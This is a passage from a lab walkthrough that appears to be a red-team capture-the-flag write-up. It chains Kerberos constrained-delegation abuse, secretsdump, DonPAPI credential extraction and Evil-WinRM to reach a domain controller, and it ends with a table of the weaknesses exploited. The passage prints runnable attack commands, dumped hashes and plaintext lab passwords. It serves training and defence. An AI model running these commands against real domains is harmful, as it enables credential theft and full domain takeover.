AccountName  AccountType  DelegationType                      DelegationRightsTo          SPN Exists
-----------  -----------  ----------------------------------  --------------------------  ----------
DC01$        Computer     Unconstrained                       N/A                         Yes
TLEGACY$     Computer     Constrained w/ Protocol Transition  cifs/TSERVER02.tokyo.local  No
TLEGACY$     Computer     Constrained w/ Protocol Transition  cifs/TSERVER02              No

Figure 48: impacket-findDelegation revealing that TLEGACY$ has Constrained Delegation with Protocol Transition to cifs/TSERVER02.tokyo.local.

Figure 49: BloodHound graph confirming the AllowedToDelegate edge from TLEGACY.TOKYO.LOCAL to TSERVER02.TOKYO.LOCAL.

TLEGACY$ is configured with Constrained Delegation with Protocol Transition (also known as S4U2Self + S4U2Proxy). This configuration allows TLEGACY to:

  1. Request a Kerberos TGS on behalf of any user (including domain Administrator) for itself - without that user’s password (S4U2Self)
  2. Present that ticket to then request a service ticket for the delegated service (cifs/TSERVER02.tokyo.local) as that user (S4U2Proxy)

This effectively allows us to impersonate the domain Administrator when accessing CIFS (SMB) on TSERVER02, using nothing but the TLEGACY$ machine account credentials.

Executing the S4U2Proxy Attack Chain

We executed the full S4U2Self + S4U2Proxy delegation chain using Impacket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Step 1: Obtain a TGT for TLEGACY$
impacket-getTGT -hashes :e9afa296a63851c6739b3176a826bcd7 tokyo.local/TLEGACY$
[*] Saving ticket in TLEGACY$.ccache

# Step 2: Use S4U2Self+S4U2Proxy to impersonate Administrator on cifs/TSERVER02
KRB5CCNAME=TLEGACY\$.ccache impacket-getST \
  -spn cifs/TSERVER02.tokyo.local \
  -impersonate Administrator \
  -k -no-pass \
  tokyo.local/TLEGACY$
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_TSERVER02.tokyo.local@TOKYO.LOCAL.ccache

# Step 3: Dump TSERVER02 secrets using the impersonated Administrator ticket
KRB5CCNAME=Administrator@cifs_TSERVER02.tokyo.local@TOKYO.LOCAL.ccache \
  impacket-secretsdump -k TSERVER02.tokyo.local

The dump returned all local SAM hashes, cached domain logon information, and LSA secrets from TSERVER02:

1
2
3
4
5
6
7
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c843de40e27391d15feeb4058f22b8ad:::
[*] Dumping cached domain logon information (domain/username:hash)
TOKYO.LOCAL/neji.yamato:$DCC2$10240#neji.yamato#4a42aa03f4f40f69218fa8e66c3325fc: (2026-06-11 08:52:14+00:00)
[*] Dumping LSA Secrets
TOKYO\TSERVER02$:aes256-cts-hmac-sha1-96:a12d94d9e1c471aa7240ee2c828cac3b52a0910ded9ad6a391ec0b8b33e90548
TOKYO\TSERVER02$:aad3b435b51404eeaad3b435b51404ee:204b0a2db2e717696ebfda34cfc3ce22:::

Figure 50: impacket-secretsdump on TSERVER02 via S4U2Proxy impersonation - revealing local Administrator NTLM hash and a cached DCC2 hash for neji.yamato.

Notable findings:

  • TSERVER02 local Administrator NTLM: c843de40e27391d15feeb4058f22b8ad
  • Cached logon for neji.yamato (DCC2 hash - indicates interactive logon on TSERVER02)

DonPAPI on TSERVER02 - Credential Manager

We ran DonPAPI against TSERVER02 (10.0.0.154) using the local Administrator hash to extract DPAPI-protected credentials:

1
2
DonPAPI collect -t 10.0.0.154 -u administrator \
  -H :c843de40e27391d15feeb4058f22b8ad -c All
1
[10.0.0.154] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{582AD151-8BF9-4FAC-A1F5-2D88C8A0CB9F} - TOKYO\neji.yamato:ImpossibileJappone12#

Figure 51: DonPAPI recovering TOKYO\neji.yamato:ImpossibileJappone12# from a TaskScheduler DPAPI credential vault on TSERVER02.

Figure 52: DonPAPI collection summary on TSERVER02 showing successful credential harvesting.

Another scheduled task is storing domain credentials in DPAPI-protected vault entries - the same pattern as TSERVER01. This reveals: TOKYO\neji.yamato:ImpossibileJappone12#.


Domain Compromise

WinRM Access to DC01 as neji.yamato

With neji.yamato:ImpossibileJappone12#, we attempted to authenticate to DC01 (10.0.0.100) via Evil-WinRM:

1
evil-winrm -i 10.0.0.100 -u neji.yamato -p 'ImpossibileJappone12#'
1
2
3
Evil-WinRM shell v3.9
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\neji.yamato\Documents>

The connection succeeded. neji.yamato has WinRM access to the Domain Controller. We read the final flag:

1
*Evil-WinRM* PS C:\Users\neji.yamato\Documents> type c:\users\administrator\desktop\root.txt

Figure 53: Evil-WinRM authenticated to DC01 (10.0.0.100) as neji.yamato, reading the root.txt flag from the Domain Administrator’s desktop.


Conclusion

The Nakasendo lab demonstrates a realistic multi-stage Red Team attack chain with a clear progression from external access to full domain compromise. The attack exploited several compounding weaknesses across the environment:

Complete Attack Chain

StageActionOutcome
1Discord ZIP archive cracked with rockyou.txtCredentials recovered from RDM file
2apache_admin → Tomcat Manager → WAR file deploymentShell as LOCAL SERVICE on WEB-DMZ
3EfsPotato (SeImpersonatePrivilege)SYSTEM on WEB-DMZ
4hashdump → local Admin NTLMReusable hash for lateral movement
5Ligolo-ng tunnel through dual-homed WEB-DMZAccess to 10.0.0.0/24 internal network
6Pass-the-Hash sprayAdmin on TSERVER01
7LSA dump + DonPAPI on TSERVER01hiro.kobayashi:Thisisdifferent03#
8BloodHound AD enumTSERVER01 WriteDacl over DISABLE_WINDOWS_DEFENDER GPO
9pyGPOAbuse → malicious scheduled taskSYSTEM (TFILE01$) on TFILE01 (10.0.0.172, Server 2016)
10Mimikatz on TFILE01masato.watanabe NTLM → cracked to ImpossibileJappone09#
11BloodHound: masato.watanabe WriteSPN → ryo.katoTargeted Kerberoasting → volleyball#7
12WinRM as ryo.kato → CVE-2023-36802SYSTEM on TLEGACY
13TLEGACY$ machine account → Constrained DelegationS4U2Proxy impersonates Admin on TSERVER02
14secretsdump TSERVER02 + DonPAPIneji.yamato:ImpossibileJappone12#
15WinRM to DC01 as neji.yamatoRoot flag - Domain Controller compromised

Key Security Weaknesses

  1. Sensitive credentials stored in an encrypted archive distributed via chat. A single password crack exposed domain-level credentials including the plaintext Domain Administrator password.

  2. Apache Tomcat Manager exposed with weak credentials (Admin123apache123!). The Manager interface should never be exposed without strict IP-based access controls and strong, unique credentials.

  3. Local Administrator password reuse across multiple machines allowed a single compromised hash to spread laterally without further exploitation.

  4. SeImpersonatePrivilege on the Tomcat service account enabled immediate privilege escalation from LOW SERVICE to SYSTEM using EfsPotato.

  5. GPO write permissions on a sensitive GPO held by a machine account (TSERVER01$). Computer accounts should not hold write permissions over Group Policy Objects.

  6. Domain credentials stored in TaskScheduler DPAPI vaults on multiple machines (TSERVER01, TSERVER02). Scheduled tasks should use Managed Service Accounts (MSA/gMSA) rather than storing domain user passwords.

  7. CVE-2023-36802 unpatched on TLEGACY, allowing an unprivileged domain user to escalate to SYSTEM via a kernel-level vulnerability.

  8. Constrained Delegation with Protocol Transition configured on TLEGACY targeting TSERVER02 allowed complete impersonation of any domain user, including the Administrator, against that server’s CIFS service.


Notes

Two machines pwned in Pass-the-Hash spray: The spray returned Pwn3d! on TSERVER01 (10.0.0.150) and WEB-DMZ (10.0.0.66, the source machine). Only TSERVER01 was used for further credential harvesting since WEB-DMZ was already under our control.

CVE-2023-36802 technical details: While screenshots confirm the exploit was compiled and executed successfully, the specific vulnerability mechanism (kernel pool corruption in ksthunk.sys) was not described in the original notes. The walkthrough uses the publicly documented CVE details.

This post is licensed under CC BY 4.0 by the author.